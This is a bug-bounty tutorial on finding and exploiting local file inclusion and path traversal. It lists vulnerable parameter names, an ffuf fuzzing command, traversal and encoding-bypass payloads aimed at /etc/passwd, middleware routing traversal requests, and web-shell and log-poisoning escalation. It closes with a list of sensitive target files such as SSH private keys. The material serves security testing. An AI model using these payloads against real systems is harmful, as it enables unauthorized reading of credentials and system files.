Local File Inclusion and Path Traversal Attacks

Photo by Maksym Kaharlytskyi on Unsplash

Local File Inclusion and Path Traversal Attacks

Find Exploit Impact

Shay Rand's photo
Shay Rand
·

5 min read

Finding LFI

LFI and Path Traversal are technically two different issues. LFI has ability to execute file. It may be shell code or other local file which exist in the system. Directory Traversal can only traversal the files, so we can only read it. It can't execute files. This is type of Sensitive Information Disclosure. I'm going to just refer to them both as LFI.

When analyzing a site for LFI vulnerabilities, I like to keep my eyes open on a couple of things.

  1. Images and Files.

    A) Right click on the image and click 'copy image location'

    B) paste the url in a new tab. example.com/assets/images/home/404-img.svg

    C) try to tamper with the image location (/assets/images/home/../../../../../../etc/passwd)

  2. There has been research done on the most common parameters which point to LFI vulnerabilities.

    • Using a tool such as HUNT will help streamline the testing process, as it has a built in detection for common LFI params.

2.png

  • GF Patterns The idea behind this project is that there are common parameters that indicate the server is drawing from a local file. It is worthwhile manually testing any parameter which matches these patterns. Of course, the list is not exhaustive and you must use your own brain to discover more. It is critical to pay close attention to javascript files as well. Often times you may not actively pick up the endpoint by passively browsing but code review will disclose the vulnerable path. Example LFI writeup

Examples

"file=",

"document=",

"folder=",

"root=",

"path=",

"pg=",

"style=",

"pdf=",

"template=",

"php_path=",

"doc=",

"page="
  1. Screenshot or export Mechanisms
  • The thought over here is that the mechanism which is taking a screenshot of the page or exporting the page may be taking a file reference as an argument to the service. LFI at IKEA.com

Of course, you could always spray and pray with some kind of one-liner as such:

ffuf -c -ac -v -mc all -w raft-large-words.txt 
-u https://domain.com/download.php?FUZZ=file:///etc/hosts -t 100
  1. Secondary Context - Middleware Routing Path Traversal

I first read about this topic in Sam Curry's post about hacking Starbucks. The idea is really neat and makes a lot of sense once you get your head around the basic understanding of how middleware and routing work in the modern web context. To try and summarize in just a few sentences:

When I send a request to /api/v1/user/1 The middleware (proxy) server extracts the route, which for example could be /api/v1/user and identifies that route with api.internalcompany.com:3031/api/v1/user. Now one way to take advantage of this is by traversing the secondary context (api.internalcomany.com:3031) and trying to access the web root and identify other methods and endpoints accessible to our user.

Our request might look as follows:

GET /api/v1/users/1/../../../<FUZZ>
Host: example.com

Our requests get sent by the proxy to the internal API which reads the requests as

GET /
Host:api.internalcompany.com

Notice This is a direct call to the web root. From here we are hoping to for several things. Sam puts it best so I'll quote

  1. Data is being served across extra layers Introduces translation issues like HTTP request smuggling CRLF injection in weird places

  2. Developers do not expect users to be able to control parameters/paths Functionality you would normally see in a development environment is accessible (?debug=1, /server-status)

  3. Information disclosure Internal HTTP headers, access token

  4. SSRF and XSS via manipulating response content Finding an open redirect in 2nd context = server issuing/potentially rendering arbitrary request

Try to detect routing

/bff/proxy/orchestra/get-user/..%2f
/bff/proxy/orchestra/get-user/..;/
/bff/proxy/orchestra/get-user/../
/bff/proxy/orchestra/get-user/..%00/
/bff/proxy/orchestra/get-user/..%0d/
/bff/proxy/orchestra/get-user/..%5c
/bff/proxy/orchestra/get-user/..\
/bff/proxy/orchestra/get-user/..%ff/
/bff/proxy/orchestra/get-user/%2e%2e%2f
/bff/proxy/orchestra/get-user/.%2e/
/bff/proxy/orchestra/get-user/%3f (?)
/bff/proxy/orchestra/get-user/%26 (&)
/bff/proxy/orchestra/get-user/%23 (#)

The Challenge

The discovery of the LFI relies on several factors.

1) OS dependant. Windows or Linux?

2) File Location. It doesn't help to just insert /etc/passwd if the location is ../../../../../../../../etc/passwd

3) Filters in place? Here we will need patience and persistence.

The Payloads you use will be OS dependent. There are plenty of wordlists out there that provide paths for both Windows and Linux Additionally a burp extension like Agartha or psychoPATH could be useful. Using these properly will hopefully yield either the correct path to the webroot (example: /var/www/html/) or other accessible system files (example: log files or files with sensitive data).

psychoPATH

Agartha

LFImap

I often will browse Twitter for people's discoveries. LFI bypass has led me to some very nice bypasses.

Bypass (NGINX)

//////////////////../../../../../../../../etc/passwd

../../../../../etc/notexists/../passwd

Other Bypasses

→ ...//....//....//etc/passwd 
→ %252f..%252f..%252fetc/passwd 
→ ../../../etc/passwd%00.png

Recently I went through @Hussein98D slides from his talk at BSides and I wanted to highlight a few of his tips

image.png

Unicode Encoder Here

image.png

image.png

Of course, these are only a couple of examples and the list is truly endless.

Impact

  1. Path traversal can be very effective in a Local file include scenario. When you have a chance to upload your file to the server and make a web shell for higher impact. In this scenario, there are two options

    A) Upload a shell into the webroot. This will become directly accessible from the website/browser.
    B) Log-poisoning. There are many different paths to take when it comes to log poisoning. The main thing is that you have fingerprinted the server technology being used properly. No point in sending a PHP shell if the server isn't using PHP.

  2. Read sensitive data from default directories

/proc/sched_debug  
/proc/mounts  
/proc/net/arp  
/proc/net/route  
/proc/net/tcp  
/proc/net/udp  
/proc/net/fib_trie  
/proc/version  
/proc/self/environ
/root/.ssh/id_rsa
/root/.ssh/id_rsa_pub
/root/.ssh/authorized_keys
websecurityLFIbugbounty